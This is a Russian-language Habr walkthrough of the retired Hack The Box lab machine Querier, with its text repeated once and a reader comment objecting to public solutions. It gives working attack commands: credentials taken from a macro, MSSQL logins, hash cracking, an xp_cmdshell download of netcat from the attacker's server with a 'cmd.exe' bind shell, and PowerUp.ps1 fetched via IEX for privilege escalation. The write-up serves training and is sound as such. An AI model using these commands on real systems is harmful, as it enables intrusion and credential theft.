Привет, Хабр! Из этой статьи вы узнаете о способе атаки на удаленный сервер, используя особенности MsSQL, создания reverse shell для закрепления в системе и пример эксплуатации плохо сконфигурированной групповой политики в ОС Windows.
Под катом пойдет речь про свой опыт прохождения лабораторной машины Querier на портале hackthebox.
Для тех, кто не знает, что такое hackthebox — это портал, на котором вы можете проверить свои умения пентеста на практике, имеются CTF таски и собственно лабораторные машины.
Начнем разведку с запуска сканирования портов с помощью nmap.
Перечислим найденные порты.
Воспользуемся утилитой smbclient для доступа к SMB ресурсам сервера.
Пройдясь по всем ресурсам, находим в директории Reports файл “Currency Volume Report.xlsm”.
Если открыть этот файл стандартным Microsoft Excel, то он окажетсяна первый взгляд совершенно пустым.
Проанализируем файл, используя утилиту binwalk, которая поможет взглянуть на встроенные файлы xlsm- документа.
Из вывода binwalk обнаружили несколько интересных файлов, содержащихся в xlsm.
Используя флаг –e, распакуем его.
Теперь воспользуемся утилитой strings для вывода печатных символов. Пробежавшись по файлам, находим интересные данные в vbaProject.bin. Похоже, что мы нашли учетные данные для mssql server’а.
Подытожим полученную информацию на текущий момент:
Так давайте попробуем подсоединиться к серверу, используя скрипт из модуля impacket.
Получаем доступ к MsSQL.
Перечислим полезную для нас информацию, используя команды из статьи.
Выполнив SQLi, получаем хеш от пароля пользователя mssql-svc.
Чтобы получить пароль в явном виде, необходимо его сбрутить, используя любой удобный для вас инструмент.
Получаем пароль от mssql-svc.
Подключаемся к SQL с новымикредитами учетными данными.
Права этого пользователя позволяют нам выполнять xp_cmdshell
Пробуем получить оболочку через netcat, для этого нам необходимо загрузить его на атакуемый сервер.
Переходим в директорию на нашей машине, где находится netcat и запускаем:
В оболочке mssql для загрузки netcat (nc.exe) на удаленный сервер, выполняем команду powershell, указав путь сохранения.
Запускаем netcat на прослушивание порта 4444.
Запускаем на своей стороне netcat, указав ip и порт, атакуемого сервера и получаем оболочку.
Запускаем скрипт от PowerShellMafia для повышения привилегий.
В результате выполнения скрипта получили учетные данные администратора.
Заходим на ресурсы smb с новыми учетными данными и полномочиями.
Забираем флаг root.txt. Победа!
Под катом пойдет речь про свой опыт прохождения лабораторной машины Querier на портале hackthebox.
Для тех, кто не знает, что такое hackthebox — это портал, на котором вы можете проверить свои умения пентеста на практике, имеются CTF таски и собственно лабораторные машины.
Дисклеймер
В правилах сервиса написано: «Dont share how you hacked each machine with other members. This includes the invite code generation and all challenges». Но так как эта машина уже не активна и хранится в разделе «Retired Machines», доступ к ней имеют только VIP-участники.
Сбор информации
Начнем разведку с запуска сканирования портов с помощью nmap.
nmap –sC –Pn –A 10.10.10.125
Перечислим найденные порты.
Enumerate 139/445/tcp (smb)
Воспользуемся утилитой smbclient для доступа к SMB ресурсам сервера.
smbclient –L //10.10.10.125
Пройдясь по всем ресурсам, находим в директории Reports файл “Currency Volume Report.xlsm”.
Если открыть этот файл стандартным Microsoft Excel, то он окажется
Проанализируем файл, используя утилиту binwalk, которая поможет взглянуть на встроенные файлы xlsm- документа.
Из вывода binwalk обнаружили несколько интересных файлов, содержащихся в xlsm.
Используя флаг –e, распакуем его.
binwalk –e Currency\ Volume\ Report.xlsm
Теперь воспользуемся утилитой strings для вывода печатных символов. Пробежавшись по файлам, находим интересные данные в vbaProject.bin. Похоже, что мы нашли учетные данные для mssql server’а.
Подытожим полученную информацию на текущий момент:
- Мы знаем, что на порту 10.10.10.125:1433 крутится mssql server;
- У нас есть учетные данные от пользователя mssql server.
Так давайте попробуем подсоединиться к серверу, используя скрипт из модуля impacket.
python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Получаем доступ к MsSQL.
Enumerate MsSQL
Перечислим полезную для нас информацию, используя команды из статьи.
Выполнив SQLi, получаем хеш от пароля пользователя mssql-svc.
Чтобы получить пароль в явном виде, необходимо его сбрутить, используя любой удобный для вас инструмент.
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
Получаем пароль от mssql-svc.
Подключаемся к SQL с новыми
python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth
Права этого пользователя позволяют нам выполнять xp_cmdshell
Про xp_cmdshell
Вместе с MsSQL поставляется большой набор расширенных хранимых процедур. Наиболее интересная из них — xp_cmdshell. Она предоставляет доступ к командной строке операционной системы.
Получаем reverse shell
Пробуем получить оболочку через netcat, для этого нам необходимо загрузить его на атакуемый сервер.
Переходим в директорию на нашей машине, где находится netcat и запускаем:
python –m SimpleHTTPServer
В оболочке mssql для загрузки netcat (nc.exe) на удаленный сервер, выполняем команду powershell, указав путь сохранения.
xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.x.x:8000/nc.exe" –
OutFile "C:\Users\mssql-svc\Desktop\nc.exe" "
Запускаем netcat на прослушивание порта 4444.
xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe"
Запускаем на своей стороне netcat, указав ip и порт, атакуемого сервера и получаем оболочку.
nc 10.10.10.125 4444
Запускаем скрипт от PowerShellMafia для повышения привилегий.
powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.x.x:8000/PowerUp.ps1\"); Invoke-AllChecks
В результате выполнения скрипта получили учетные данные администратора.
Заходим на ресурсы smb с новыми учетными данными и полномочиями.
Забираем флаг root.txt. Победа!
Twost
Никогда не понимал зачем постить решения в паблик. Другим же весь кайф ломается. Респект за решение HTB, но правила хорошего тона предполагают не сливать решения.
P.S. вижу, что машина уже не активна, но всё же)